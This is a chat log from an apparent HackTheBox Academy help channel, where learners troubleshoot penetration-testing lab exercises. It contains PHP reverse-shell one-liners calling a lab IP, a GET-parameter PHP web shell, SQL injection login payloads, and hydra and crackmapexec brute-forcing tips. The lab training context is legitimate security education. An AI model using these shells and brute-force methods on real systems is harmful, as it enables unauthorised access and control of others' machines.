Some assistance would be greatly appreicated.

[tranquil axle]

File disclosure does not equal code execution. You can read files with it but you can't run commands. The idea is that you can use it to read sensitive data (like the source code or files containing credentials like a connection.php) and then do something with that new knowledge

[candid ocean]

I do understand that but there is also in the same section parts about "Remote Code Execution with XXE"
And with the IP of the target machine being accessible on the VPN compared to all the other tasks being an online task - that suggests towards the information given in the RCE part of this section

and ofcourse the standard as soon as you submit to discord you work it out yourself. I swear I submit the read w/ base64 thing soooo many times.

[tranquil axle]

but the hint hints towards using php://filter/ no?

[candid ocean]

but now it suddenly works =/

[tranquil axle]

haha, maybe a typo somewhere

[candid ocean]

More than likely, appreicate your help anyway mate 😄

[narrow solar]

https://discordapp.com/channels/473760315293696010/1138879672717942804/1138879672717942804

any help please

[tulip dragon]

Identify if its possible to perform a zone transfer and submit the TXT record as the answer. (Format: HTB{...)) i am stuck here for a long time

[fiery berry]

could you give more context? Were you able to perform a "zone transfer"?

[tulip dragon]

i use the dig axfr inlanefreight.htb @rustic sageurl

[vapid ether]

anyone on SQL injection fundamentals.. Just asking for help on how to log into the inlanefreight on the skills assessment

[fiery berry]

from the output got from the zone transfer did with dig, if everything went in the right way, you should be able to see additional "targets". Proceed from there

[fathom stump]

The lesson also talks about a different (similar) zone transfer

[lilac flint]

why am i geting ldap_sasl_interactive_bind: Can't contact LDAP server (-1)

when running ldapsearch

[leaden quail]

Hi can someone give me a hint for "Hunt 2: Create a KQL query to hunt for "Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder". Enter the content of the registry.value field in the document that is related to the first registry-based persistence action as your answer." from INTRODUCTION TO THREAT HUNTING & HUNTING WITH ELASTIC. I tried different search querys but nothings seems to work.

[tulip dragon]

i am moving on , i can't find it

[fathom stump]

It's right under the transfer you've already done

|| internal zone transfer ||

[pulsar needle]

I cant crack the zip hash, ive tried 5 different wordlists

[clear bough]

hi in kerberos Attacks - Skill Assessment i got the initial credential but i cannot connect in anyway to server01 for enumerate the domain. can anyone can help with this??

[pulsar needle]

But i guess ill just have to try harder lol

[acoustic owl]

5 lists?
A list is provided in this module. In the course of the module this list is edited.
So there is a maximum of two lists you can try

[pulsar needle]

AAAAAA

I remember now

I changed my mut password list

Yes, i made it 400 lines instead of 94k

lol

[fathom pendant]

Why 400?

[pulsar needle]

Because I changed it to bruteforce the kira user

[fathom pendant]

Lol most suggestions were to remove the first 17k

[fathom pendant]

Then create a copy and change it lol

[pulsar needle]

And I forgot to change it back, so i did hehe

[pulsar needle]

Yesh indeed, ive got the flag now xd

[slate palm]

has anybody else had problems using ligolo-ng on the first jump box of "attacking corporate networks"? - it seems to completely strangle the poor thing

[tulip dragon]

when to use the htb and htb academy effectivly

[vital adder]

which module and section are you on? also i did used that tool or Offshore so if you need help with that feel free to dm me

[tulip dragon]

go to htb after full job role path or after modules

[slate palm]

Attacking Enterprise Networks - doing it blind

[vital adder]

nice same but i haven't re-do my sucks ass note for it so let me give the pivoting thing a check

[slate palm]

Ill just use ssh for now

[vital adder]

sorry for the wait but i got a working ligolo-ng agent on the jump box and everything seem to be working fine for me (without root)

[slate palm]

thank you very much

[vital adder]

if that screenshot alone help then np 👍 but if you still need help with that feel free shoot me a dm

[slate palm]

it told me its a me problem and not a box problem

[vital adder]

also i did wrote a quick "section" on using ligolo-ng double pivot but the head of the academy haven't reply to that ping so if you or anyone want to give have a check and give me some feedback shoot me a dm

[twilit field]

If this is too much information, I’ll delete the post.
Remember to have a look at the cheatsheet that goes along with the footprinting module, have you tried all the commands for the FTP service?

[rapid sparrow]

need some help for the Exploiting Web Vulnerabilities in Thick-Client Applications

https://academy.hackthebox.com/module/113/section/2164

I have decompile the jar file using JD-GUI, but when I compile the .java file, it won;t work

[vital adder]

shoot me a dm

[dark rampart]

yo guys, i got stuck on this question in Linux fundamentals: Use cURL from your Pwnbox (not the target machine) to obtain the source code of the "https://www.inlanefreight.com" website and filter all unique paths of that domain. Submit the number of these paths as the answer.

it tells me that the address is unreachable

what can i do?

[fiery berry]

can you paste the curl request?

[rapid sparrow]

Thanks a lot

[dark rampart]

i dont quite understand what do you mean

do you mean the output it gives me after it tries to reach the web?

[fiery berry]

the command

[dark rampart]

just simple "curl https://www.inlanefreight.com"

[fiery berry]

well it should work

[pulsar needle]

I tried to bruteforce user root on password skill assessment easy, it didnt work (Bruteforcing root on ssh) and bruteforcing all the usernames with the mut wordlist for ftp (Nvm crackmapexec didnt work that time, now it does)

[real copper]

Hello everyone,

I've been working on the password module for the past five days, but unfortunately, I'm facing a challenge due to the ***** RDP connection constantly resetting every second. This is causing a significant disruption in my progress.

[hushed bough]

Attacking Common Services - Easy -> i'm on the final step so i upload the shell, now how can i open it? when i go to the http://targetip/shell.exe it just download it any hint? Maybe is a easy step but i'm on this like for hours cant think to much xd

[urban walrus]

You should check the supported languages for a webserver. I don't think a webserver can execute a .exe file.

[urban walrus]

If the webserver is able to run php then get a php shell, if runs aspx then get a .aspx shell

[hushed bough]

yeap got it, like i said to many hours on this xd thx 😄

[real copper]

I lost my temper

iam afraid may be i brake my laptop

[urban walrus]

NP

[urban walrus]

Maybe it's your RDP client, have you tried changing it?

[vital adder]

next time just bang your head against a wall 🤣

jk but which section and question are you on?

[real copper]

ooooh rely Do you thing i didn't change it

[real copper]

Password attacks

[vital adder]

i mean the section and question?

[pulsar needle]

Password attacks is too lengthy lol

[vital adder]

from the rdp thing i'm guessing question 3 on Network Services?

[vital adder]

some of the section is too damn long but some of them you can cut like the first 17K password off to make it faster

[pulsar needle]

I am doing the easy skill assessment and i have no clue what username is avaliable

[real copper]

nO
Credential windows Hunting

[pulsar needle]

so i am trying it with the short list (203 passwords per user)

[undone narwhal]

if you have windows machine use it cuz it will use your gpu while cracking the hash makes it much quicker than in VM

[pulsar needle]

I am not cracking a hash

I am bruteforcing FTP

but yeh

[undone narwhal]

oh i see my bad

[vital adder]

oh ok which question?

[undone narwhal]

have you tried increasing the threads?

[pulsar needle]

The thing is

idk

if ftp might reject it

lol

[vital adder]

something isn't right here

[pulsar needle]

I tried using crackmapexec and it took like 2 minutes to scan the 97k passwords for all the users, but none of them hit

so now

I am thinking that i was doing the scan too fast

so i am doing a slower one

with the 200 passwords

And indeed

I got the password just now

Lol

[real copper]

hey wtf
even when i tried to connect using winrm

it took 3min
and every command hang out

wtf they should extend my voucher 1year

[real copper]

`S C:\tools> ls

Error: An error of type HTTPClient::ConnectTimeoutError happened, message is execution expired

Error: Exiting with code 1`

I am considering changing my major to become a nurse,

[vital adder]

first if you are having connection issue make sure you don't have both your vpn and the pwnbox on at the same time and if you are using the vpn try changing the vpn server and if you are on the pwnbox HTB academy recently have some down time so thing maybe a bit slower than normal and finally if you have Silver Annual you have 1 on 1 tutoring so if you suspect the issue is an internal one you can discuss it with your tutor

[vital adder]

or a doctor like johnny sins

i have no idea what you mean by that but if the spoiler thing is you have to run that command against the DC to the user in the question then there is other ways of finding the user not the exploit part

also if you can't discuss this without spoiler then feel free to shot me a dm

[pulsar needle]

Password attacks easy, I cannot find root's password (||I am guessing that I am not supposed to brute force since I got the user mike||)

[pulsar needle]

I got nothing from this scan lol

[vital adder]

hint do some basic enum for privesc

[pulsar needle]

aaaa ok

[quick hedge]

Hello, I am currently on the File Inclusion module and the SMB portion does not seem to work for me. I have looked through the past comments and none of them are not working. Can someone point me in the right direction? I am using this command: http://<SERVER_IP>:<PORT>/index.php?language=\<OUR_IP>\share\shell.php&cmd=whoami I started impacket and made the directory called shel l and copied the php file into it. I have also tried:http://<SERVER_IP>:<PORT>/index.php?language=\<OUR_IP>\shell.php&cmd=whoami taking out the share directory. Is there something I am missing? Thank you in advance for your time.

[zinc marsh]

https://academy.hackthebox.com/module/145/section/1295 Server-side Attacks - Nginx Reverse Proxy & AJP

Is there someone I could dm about some doubts please? I don't get it works

[vital adder]

sure shoot me a dm if you still need help

[vital adder]

which section are you on?

[wanton estuary]

Anyone had issues with ssh service breaking on tunneling using icmp? I can ping the box but can't ssh in and my ssh session I had had died. Reverting the box allows you to login again for a couple of mins before breaking. Tested using kali vm and using the parrot attack box.

[quick hedge]

Hi, I am on the Remote Code Execution/ Remote File Inclusion (RFI)/ SMB section.

[vital adder]

try a HTTP server instead of a SMB section

also it's not a SMB section

[vital adder]

first you don't have both the pwnbox and your vpn on at the same time right?

[wanton estuary]

I do.

[pulsar needle]

I cant find anything

lol

[vital adder]

hint ||history||

[vital adder]

yea that's the issue

[wanton estuary]

I used parrot to compile ptunnel as if you get compatability issues compiling on kali

Thanks mrtom

[pulsar needle]

Ive checked the bash history and found nothing of interest

just some ||dickens|| file

lol

[vital adder]

hint if you found something that can use as a passwod then that's the Fing flag

[quick hedge]

This worked. Thank You

[vital adder]

yea you may want to remove this and the directory listing screenshot because of the spoiler and shoot me a dm with the stuff you found in the ||history|| file

[gloomy bramble]

Same. I finished it earlier this week after a bit of time. Research and syntax checks, as well as further searches on what I can do with the url got me to the finish.

[drifting glacier]

Anyone around that has done case 5 in the sqlmap essentials module, the Attack Tuning section?

I've managed to get content to dump, but my flag is not being accepted, want to run what I have by someone and confirm if this is indeed incorrect...

[proud pine]

DM me.

[elfin cedar]

😭

I dont get it https://academy.hackthebox.com/module/33/section/799

I try following along and use admin'-- as the username and I get an error. Something so simple like this and it doesnt work

ITS RIGGED

[trail leaf]

Relax, you're just not thinking about what's going on behind the scenes. The goal of SQL injection is basically rewriting the query the app is making to the database to return something else.

In that first example, we don't know the password, so by injecting admin'-- -, we close out the quotes around the username, and use -- - as a comment to tell the query to ignore everything afterwards.

The second query is a bit different, because now we have parentheses in the mix. If you run the query with the payload from before, the parentheses aren't getting closed out, so the query errors out

[elfin cedar]

right but I wasnt able to do the first one

I get the error in the second screenshot

Am I not supposed to follow along maybe?

[trail leaf]

You're not supposed to follow along, it's a different example

[elfin cedar]

got it

[trail leaf]

It's a chump check to make sure you're not just copying and pasting

[elfin cedar]

thanks!!!!

man I get so frustrated

[compact carbon]

Still on the Priv Esc bs trying to get the Root flag. I've pulled the id_rsa but now I'm confused. If I do how the lesson shows even with the CHMod the server refuses it saying (publickey) but if I do the specific port it asks for a password. Was I supposed to pull a different key or am I doing something wrong?

[trail leaf]

Can't help you without knowing the module and section

[compact carbon]

It's Getting Started -> Priveledge Escalation

[zinc marsh]

and the comments?

[trail leaf]

No part of that walkthrough tells you to use an SSH key

[trail leaf]

Oh wait I was looking at nibbles, my bad

[zinc marsh]

why u using the pub key

[trail leaf]

Yeah, you're supposed to use the private key for SSH

[zinc marsh]

if u want to use the pub key u have to add it to /root/.ssh

[compact carbon]

Because I'm not able to cat the private key and that's what I had seen other people doing.

[zinc marsh]

to use ur publick key

[compact carbon]

Unless I'm supposed to pull the private key using scp or something like that.

[zinc marsh]

u are supposed the be able to read the id_rsa

[compact carbon]

Then am I looking in the wrong place? Because this is the only ssh directory on the machine.

[trail leaf]

look at the permissions on /root

[elfin cedar]

RIGGED

[zinc marsh]

just read what u sent lol

[zinc marsh]

.

[compact carbon]

Now I'm even more confused...

[zinc marsh]

ls -a

[elfin cedar]

sorry, i am kinda slowly getting it. SQL is my weak point. Its embarrassing because it feels like it would be so easy

[trail leaf]

/etc/ssh is where SSH configuration files are stored, usually not where any keys are

Look at the permissions on /root

[rare topaz]

You'll get the hang of it soon enough, it's one of those things where you start out looking at references and documentation, then slowly understand the general process of it, without.

You can read up Portswigger's and Hacktrick's referencess on SQL injection if you want, i always just copy paste their commands in real CTFs/bbps anyways

[high reef]

i'm doing this question; attached is the hint, I'm running hydra to get the password ofc the hint given isn't the password. But what i wanted to know is how long is it gonna take hydra to get this password been running for 2hrs now and barely got anywhere

this section is blowing my mind lol is this what pentesters deal with me holy crap

[azure shell]

please can some one help on how do i use this python file

from urllib.request import urlopen
from sys import argv, exit
import threading
from colorama import Fore

def check(url):
''' check given URL is vulnerable or not '''

try:
    if "http" not in url: url = "http://" + url

    data = urlopen(url,timeout=3)
    headers = data.info()

    if not "X-Frame-Options" in headers: return True
    if not "Content-Security-Policy" in headers: return True

except: return False

def listVulnerableSite(url):
f=open("Vulnerable.txt", "a+")
f.write(url+"\n")
f.close()

def main():
try: sites = open(argv[1], 'r').readlines()
except: print("[*] Usage: python3 clickjack.py <file_name>"); exit(0)

for site in sites[0:]:
    status = check(site)

    if status:
        print(Fore.RED+"[+] "+Fore.GREEN+site.split('\n')[0] +Fore.WHITE+ " is "+Fore.RED+"Vulnerable")
        listVulnerableSite(site.split('\n')[0])
    
    elif not status: print(Fore.CYAN+"[-] "+Fore.GREEN+site.split('\n')[0] +Fore.WHITE+ " is "+Fore.CYAN+" NOT Vulnerable")
    else: print(Fore.CYAN+'Every single thing is crashed, Python got mad, dude wtf you just did?')

if name == 'main': main()

[vital adder]

if this isn't in a HTB academy module then you are asking at the wrong place

[sleek urchin]

Does anyone has any info about it ?

[zinc marsh]

like this better

[vital adder]

didn't see the Fing clickjack.py

[compact carbon]

god fuckin damnit.

Found it. That's the info I needed no wonder I was so lost...

[azure shell]

please explain to me in detail how do i use on vscode or where

[vital adder]

keep asking for thing like that and you will get the 👢 my guy

[sly reef]

how u doing boy

[azure shell]

i paste it on my vs code but dont know what to do next

[sly reef]

save it to a file called x.py & do python3 x.py

[azure shell]

where do i put the link i wanna check or something i really need some explanation how did this work pleas

[sly reef]

it will tell you

[azure shell]

alright

[sly reef]

execute it and read what asks

[vital adder]

@azure shell this channels is for HTB academy related module only you can take your script kiddies ass to #general

[sly reef]

my bad

[vital adder]

pls don't show the dump ass how to run clickjack script he found online

[sly reef]

😦

[vital adder]

i mean if he want to learn he can ask here but pasting a clickjack script and asking how to run it isn't the right way to go

[azure shell]

where do i learn it

[vital adder]

starting by asking question

[zinc marsh]

then that guy will think is a hacker for running a script he found in internet

[azure shell]

thanks

[vital adder]

read #welcome and #rules after that use /verify at #bot-commands if you are on HTB and ask your question in the appropriate channels

[sly reef]

a good one tho: if "http" not in url: url = "http://" + url

[zinc marsh]

it is actually good

if u are too lazy to write http:// it just do it for u

[sly reef]

xd

I am

[azure shell]

alright

[sly reef]

good luck sir

[compact carbon]

@trail leaf @zinc marsh Thanks for the help.

[azure shell]

thank you

[high reef]

sso any idea how long hydra gonna take ?

[sly reef]

password cracking or hashcat module?

ah, hydra,

[acoustic owl]

Okay, now I know why 😄

A cool module, but really not difficult.
It was fun to play with Wireshark

[high reef]

password cracking

[sly reef]

im osrry for you my man

you can get a nap

[high reef]

lmfao

no way

[sly reef]

wild module

[high reef]

indeed

[sly reef]

don't remember if you are in a slow one but get ready

[elfin cedar]

you love to see it

[high reef]

nah this is slow asf bro

[sly reef]

https://media.discordapp.net/attachments/732550927378022440/1070026322493063199/ezgif.com-gif-maker.gif

[sly reef]

use threads

[vital adder]

it's depend on what wordlist you use

[vital adder]

yea you should make some note on the modules that you've done

[high reef]

used the mut_passwordlist.txt and i shorten that list with the command you sent me

[high reef]

what's the command for threads?

[vital adder]

forgot what command i send you but if it's for a section then it's meant to be only for that section

[pulsar needle]

Question for the "Password Attacks Lab - Medium" ||Am I supposed to bruteforce the user named dennis over ssh?||

[high reef]

sed -e 1,17000d mut_password.list > short.txt

[sly reef]

hydra -t 50 (as more threads you put more unstable it gets)

[high reef]

oh i did that put it at -t 64

[sly reef]

then patience

[high reef]

still moving slower then a snail

[vital adder]

@high reef hint make the ||mut list|| based on the given "cred" and the given rule

for me it's took 2 sec

[sly reef]

listen the wise squirrel

[high reef]

how would i do that ?

[vital adder]

hint if you got a shell as user j then do some enum

[vital adder]

same command you make the mut wordlist just with the ||given cred|| in the hint this time

[high reef]

like this ?

[vital adder]

i'll send you the one i used but you may want to remove this due to spoilers

[hazy grotto]

Holy smoke that was a long time ago. I’m at 80 percent

[sly reef]

Keep it up bro!

[fresh pine]

Anyone know why in Attacking GitLab from ATTACKING COMMON APPLICATIONS the trigger doesnt work for me?? I created a user and did as instructed

[hazy grotto]

Thank you. Been hard stuck with pivot for awhile. Took alot@of time off to work on boxes and sharpen my@skills

How are you?

[subtle glen]

windows privesc, pillaging, 3rd question
there is no cookie "d", if i try to make one manually it does not work, how am i supposed to log in?

[trail leaf]

You can add cookies by opening dev tools

Should work if you do it manually

[acoustic owl]

Because the Lab might be protected against it?
Without knowing in which module and in which section you are currently working, it is difficult to tell you more precisely.

[trail leaf]

Attacking common applications skills assessment is 👌

no way they say to try out RopeTwo after that module though

[analog dock]

Fun practice 😂

[trail leaf]

the most you do with that one is open gitlab to find the patched chrome browser

[novel socket]

Hey

[fresh pine]

I'm not sure why it does this. It's in ATTACKING COMMON APPLICATIONS >> Attacking Gitlab

[subtle glen]

it does not work, i tried both with devtools and cookie editor

[languid juniper]

Anyone here going after OSCP after they complete CPTS?

[thorn urchin]

yes

[trail leaf]

hm, I'd love to help but I was just about to head out, so hopefully someone else can assist you here o7

[thorn urchin]

in the middle of it

[languid juniper]

I am hoping that completing the CPTS will prepare me for the OSCP

[sly reef]

If you need help feel free to DM

[sly reef]

Great haha, idk how i ended on your message and u gave me good vibes 🙂

[languid juniper]

Thank you brother!

[acoustic owl]

That should work.
Try it from the PwnBox

[languid juniper]

Have you purchased the offsec course or are you studying on your own using boxes from HTB?

[thorn urchin]

Im doing their course too

I wanted to see how they compare

[languid juniper]

There is a course for roughly 5400.00 that incorporates the Offsec course but keeps you on a study schedule so that you can pass the OSCP in three months.

[thorn urchin]

thats ridiculous

[languid juniper]

I need that structure in order to get out of this boring job

it is a lot I know

but if I can speed up my progress that is what I would be paying for

[thorn urchin]

offsec has their own study schedule that you dont need to pay 5k for

[warm oxide]

Yo, just a quick question/sanity check
In the module „File Inclusion“, Section „Remote File Inclusion (RFI)“: Do I need to port forward my http/ftp/smb server? The RFI keeps giving me the error „No route to host“ even tho I am connected to the VPN and am using the IP address of the corresponding interface.

[languid juniper]

Ok, maybe I will take that path; after I finish the CPTS I need to get going with it

[simple pine]

My connection was really buggy today, I wasn't sure why. I might try again in an hour and see if it's any different

[hallow kiln]

If you've got that kind of money to burn, just get Unlimited 💀

[languid juniper]

That just allows from unlimited access, my goal is to get the OSCP asap to get a job in the field of penetration testing. What would you do with the unlimited subscription?

[acoustic owl]

Try it. from the PwnBox

[warm oxide]

Got the same error earlier today from that.

Can‘t start it anymore until tomorrow. 😅

I will check again then.

[fresh pine]

Resolved! More than a couple of times it's been that, so weird. Wonder when will happen on the field!

[acoustic owl]

Send me your attempt by DM.
Then I'll see if you're doing something wrong or if it's the lab

[hallow kiln]

I'd get at least three certs from it, four if I really push it, but I don't have that kind of money. In any case, you really don't need to spend that, there's plenty of schedules you can follow both by offsec and recommendations from people who've done the exam

[warm oxide]

Will do, thank you.

[acoustic owl]

The question is whether you can easily get a job with OSCP. I don't think it's that easy.

[languid juniper]

I am 44 years old, ran and sold my MSP, currently working for an insurance company dealing with ransomware events. I have a good amount of real world experience but am pivoting to penetration testing. Have been getting certification after certification in cyber security. I am hoping that with the OSCP this will be my shot in to a decent job and then allow my skills to further develop.

[thorn urchin]

OSCP helps but the market sucks ass right now

5k is still too ridiculous for a study plan even if youve got money to burn.

at that price you better be getting 1 on 1 dedicated tutoring

[languid juniper]

What do you recommend if anything?

[thorn urchin]

fwiw I finished CPTS and currently doing the offsec course. bit under 3 weeks in and despite taking an entire weekend off and a couple extra days cause I was sick, Im over 30% done with the entire course already

[vital adder]

oh wow congratz, wish you all the best on your new journey (you have been blessed by the helpful squirrel)

[vital adder]

i'm sorry what? how tf is that course 5 Fing K?

[thorn urchin]

it isnt

someones selling him a study plan for 5k

[vital adder]

oh wtf 🤣

[thorn urchin]

right? maybe after I pass I should start a side hussle selling my study plan for 1k and undercut em 😂

[hazy grotto]

Haha at

[vital adder]

with the "leak" that i saw even a simple study plan for all of the free or cheap platform would be better or equal to damn course

[thorn urchin]

Dont get me wrong, theres some things ive learned or liked from their newly updated materials, but it feels like panhandling for gold and Id probably have learned the same things just from doing more boxes.

[vital adder]

the latest update was the only good update in while for the course but still 2.5K though

[thorn urchin]

1599

you dont have to get the year long sub

[vital adder]

oh that's for the year

[tranquil palm]

guys

[thorn urchin]

1599 for 90 day lab, course materials, and exam attempt

[vital adder]

also want to ask for the lab update are you getting private lab now?

[tranquil palm]

i cant enter the .htb sites

[thorn urchin]

you do

[tranquil palm]

for the mchines

[thorn urchin]

add to /etc/hosts

[tranquil palm]

i did nothing work

[thorn urchin]

then you did it wrong

[tranquil palm]

can you show me how pleas

[vital adder]

read #welcome and #rules after that use /verify at #bot-commands if you are on HTB and ask your question in the appropriate channels

[thorn urchin]

ip_address websitename.htb

[tranquil palm]

yup thats how i did it and didnt work

[tranquil palm]

ok

[thorn urchin]

press x to doubt

[tranquil palm]

yea

[vital adder]

there maybe a anther step before you can access the site for the box that you are in or it's could be that there is no web server running on the box you are on

so it's better if you ask in the right channels

[sleek shell]

Hi guys, need some help with ''Footprinting-SNMP' task 3 ' Enumerate the custom script that is running on the system and submit its output as the answer.' I do not understand what shell I do...

[low crescent]

In Attacking Common Applications module -> Attacking Gitlab section, the question is "Find another valid user on the target GitLab instance". I have tried blasting away couple of wordlists from the SecLists/Username, and also some other wordlists, against the target, but none of the usernames returned are accepted by the website. Am I missing some something or is it possible that the machine has not been fully setup to return the right one?

[vital adder]

for this one you kinda have to blindly look for the wordlist in seclist so you can use cat on all of the username wordlist and output them into a dump file and use that and i think it only took me like 3-4 min or something like that

just use | grep "The username" when you are running the brute forcing tool

[vital adder]

hint ||snmpwalk||

[quasi wave]

hi I'm trying to get a reverse shell on this last section of getting started module and I'm putting this into the theme's PHP but I don't see why its not working:

<?php -r '$sock=fsockopen("10.129.42.249",1234);shell_exec("/bin/sh -i <&3 >&3 2>&3");' /?>

I'm following the reverse shell from this web page just like someone on here recommended:

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.md#php

I'm trying to gain root

in my terminal on the parrot OS VM I am trying to use netcat but its not giving me any results

[trail leaf]

The payload you have in the code block isn’t valid PHP

You copied and pasted the command you’d run in the command line to call PHP, into a PHP file, and it doesn’t work like that

https://revshells.com/

[low crescent]

I've kinda done that already, with the following:

┌─[eu-academy-2]─[10.10.15.37]─[htb-ac-468575@htb-mz7g8hcrz5]─[~]
└──╼ [★]$ cat /opt/useful/SecLists/Usernames/*.txt | awk '{ print tolower($0) }' | sort | uniq -u > users.txt
┌─[eu-academy-2]─[10.10.15.37]─[htb-ac-468575@htb-mz7g8hcrz5]─[~]
└──╼ [★]$ cat users.txt | wc -l
7466435

But that's been going for a very long time already

[trail leaf]

PentestMonkey script should have you covered

[quasi wave]

Ok thanks. I'm just doing getting started module so I guess I'm too much of a noob to actually be good with reverse shells.

[low crescent]

php -r is a CLI argument, and cannot be used in the context of a php script

[quasi wave]

ok so what if I made it a BASH command

[trail leaf]

No need to apologize, only thing that matters is that you learn from it and understand things

[quasi wave]

ok thanks

[vital adder]

and you are using the 49821.sh script from searchsploit right? the one on exploit have have issue

[trail leaf]

If you want to run command line stuff from a PHP file, you want to use the system() function

<?php system("ANY_COMMAND_YOU_WANT"); ?>

[low crescent]

I'm using the python3 variant one (gitlab_userenum.py)

[trail leaf]

Better yet, use the $_GET variable so you can change commands with different GET requests

<?php system($_GET['parameter_name']); ?>

To run commands:

curl http://vulnerable.com/shell.php?parameter_name=<YOUR_COMMAND_HERE>

but that's a bit beyond the scope of the module

[thorn urchin]

also from what I remember of the module, its def advised to get a proper rev shell. working purely through web shell will be a pita for the next part

[weary copper]

hello, can someone help me on zephyr in pm ??

[thorn urchin]

no

this channel isnt for prolabs

[fathom pendant]

Verify your account following #welcome and ask in #prolabs-zephyr

[thorn urchin]

verify your account in #welcome

[vital adder]

yea then i can't help with that script but the other one work fine for me (with the username dump thing)

but if you want a hint for the right username wordlist then hint use one of the ||cirt|| one

[low crescent]

I suppose you've done the dump in the same/similar way I did it?

[vital adder]

oh nope i didn't do the filter thing

[quasi wave]

so is this closer:

<?php shell_exec( -r '$sock=fsockopen("10.129.42.249",1234);shell_exec("/bin/sh -i <&3 >&3 2>&3");' )?>

wait hold on

[low crescent]

Hm, can't share the screenshot, but I've ran ||cirt-*|| one and received 2 4-letter usernames. I guess I'll just need to rebuild the machine

[vital adder]

read #welcome and #rules after that use /verify at #bot-commands to send screenshot here

[low crescent]

oh f... I needed to type it in the full-uppercase form and not lowercase. 😐 it accepted it now 🤦‍♂️

[vital adder]

nice 👍

[quasi wave]

this also doesn't work:

<?php shell_exec(sh -i >& /dev/tcp/10.129.42.249/1234 0>&1) ?>

[low crescent]

Why are some questions allowing case-insensitive answers, and others case-sensitive, I'll never understand I guess (especially since here the usernames are not case sensitive) 😅

[thorn urchin]

gotta wrap the arguments to shell_exec in quotes

[quasi wave]

ok where do I put the quotes?

starting before sh and after the 1?

[thorn urchin]

yeah

[low crescent]

Proper syntax is:

function_name('literal argument')

[quasi wave]

this syntax isn't working:

<?php shell_exec('sh -i >& /dev/tcp/10.10.15.25/1234 0>&1') ?>

[low crescent]

You can use either single or double quotes

[quasi wave]

should I change IP?

[thorn urchin]

the ip should be your ip

and also make sure you have a listener

[quasi wave]

I did

[low crescent]

Syntax looks alright. Change the IP to your IP address (ip a) and run the listener on the specified port

[low crescent]

Is the 10.10.15.25 your IP address, or the one from the content?

[quasi wave]

the parrot OS vm which is "my IP address" is 10.10.15.25

I did ifconfig

so for sure that's my IP

the target IP is 10.129.42.249

[low crescent]

And how are you starting the listener?

[quasi wave]

nc -lvnp 1234

I do code on left and then submit and then start netcat and then load the new tab and it does nothing

[low crescent]

Okay, from what I see, you are creating a file. To execute that code, you need to open that file in your browser. By pressing the save, you are just saving the changes.

[quasi wave]

I did open file in browser tho

I hit save and go to new tab and it doesn't work

after I open netcat

[low crescent]

Well, that's weird then. Maybe try changing sh to /bin/sh and see if that works?

[quasi wave]

it still didn't work

what would you do at this point?

lmao I'm assuming next I go into root folder and get flag once I get root privileges right?

[low crescent]

I would recommend trying another payload. For example, the one you sent previously

[quasi wave]

ok sure

[low crescent]

This command, but use it as:

<?php $sock=fsockopen("10.129.42.249",1234);shell_exec("/bin/sh -i <&3 >&3 2>&3"); ?>

Just update the IP address

Maybe shell_exec is blocked, but you can use some other function which executes system-level commands (e.g. system(), exec(), ...)

[quasi wave]

┌─[us-academy-1]─[10.10.15.25]─[htb-ac-605555@htb-gtt4raddms]─[~]
└──╼ [★]$ nc -lvnp 1234
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.129.42.249.
Ncat: Connection from 10.129.42.249:46888.

[low crescent]

To make sure that the file is able to process the PHP code, I would try with a simple:

<?php echo "Test"; ?> and seeing if that helps

[quasi wave]

it got something

but its blocked

[thorn urchin]

eyyyyy

shouldnt be

[barren apex]

Anyone able to give me a hand on the pivotting port forwarding skills assesment, im struck on the final q

[quasi wave]

ya we got a little closer

[thorn urchin]

try hitting enter a couple times then type id

sometimes with these revshells you just dont get a prompt up front but its still working

[low crescent]

It's probably not blocked, just doesn't give a full shell experience you're used to 😉

[low crescent]

Anything specific?

[barren apex]

Stumped as to how I can pth to get into the DC

ive tried a double port forward

Cant seem to crack the password

[low crescent]

I actually forgot how the skill assessment looks like, but I think you can do pth from the second machine in the chain, no need to do it from your parrot one. But I might be wrong actually

It's more of a thought than the answer, sorry 😐

[rapid sparrow]

have you solved this??

[barren apex]

The first windows one?

[sinful falcon]

Yeah I was tired 🤣

[quasi wave]

do I just type the full command into the php code in the browser?

[rapid sparrow]

how do you solve that problem

[quasi wave]

I mean it just doesn't give me "the full shell experience I'm used to"

[thorn urchin]

no type into the connection you received

[low crescent]

I forgot the full setup involved in it, but I meant it from the machine that has the access to the server you want to execute pth on

[barren apex]

right

ill give that a go

[quasi wave]

ok but I don't have a shell so how do I do that

[thorn urchin]

but you do

[sinful falcon]

Just put in the right place

[low crescent]

For example, if you have Host1 -> host2 -> host3 -> host4, and you want to execute PTH to host4, you can maybe do it from the host3 and not host1

[thorn urchin]

after the connection received, hit enter twice, type id, hit enter and youll see what I mean

[barren apex]

yeah I have mimikatz on host 3 so will give give that a go

[rapid sparrow]

??

[low crescent]

Try typing whoami in the netcat session you received. If you receive back an answer, you can then upgrade the shell to an interactive one

https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/ For example

[low crescent]

Good luck! I'll be leaving in 2 mins, hopefully that'll help you out. I do remember it took me some time trying to get a full network access from my parrot machine and realizing there was an easier way. I think that was the easier one, but can't remember 😅

[languid juniper]

Ok, I need a bit of help. I am probably missing a simple step - doing the Footprinting Lab - Easy

I have downloaded the id_rsa key from the ftp

[thorn urchin]

change the permissions